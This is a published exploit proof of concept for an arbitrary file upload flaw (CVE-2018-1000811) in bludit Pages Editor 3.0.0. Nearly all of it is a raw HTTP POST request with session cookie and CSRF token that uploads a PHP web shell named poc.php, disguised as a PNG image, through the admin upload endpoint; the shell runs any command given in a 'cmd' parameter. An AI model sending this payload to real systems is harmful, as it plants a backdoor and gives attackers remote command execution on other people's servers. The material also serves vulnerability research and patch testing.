bludit Pages Editor 3.0.0 - Arbitrary File Upload

# Exploit Title: bludit Pages Editor 3.0.0 - Arbitrary File Upload
# Date: 2018-10-02
# Google Dork: N/A
# Exploit Author: BouSalman
# Vendor Homepage: https://www.bludit.com/
# Software Link: N/A
# Version: 3.0.0
# Tested on: Ubuntu 18.04
# CVE : 2018-1000811

POST /admin/ajax/upload-files HTTP/1.1
Host: 192.168.140.154
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.140.154/admin/new-content
X-Requested-With: XMLHttpRequest
Content-Length: 415
Content-Type: multipart/form-data; boundary=---------------------------26228568510541774541866388118
Cookie: BLUDIT-KEY=5s634f6up72tmfi050i4okunf9
Connection: close

-----------------------------26228568510541774541866388118
Content-Disposition: form-data; name="tokenCSRF"

67987ea926223b28949695d6936191d28d320f20
-----------------------------26228568510541774541866388118
Content-Disposition: form-data; name="bluditInputFiles[]"; filename="poc.php"
Content-Type: image/png

<?php system($_GET["cmd"]);?>

-----------------------------26228568510541774541866388118--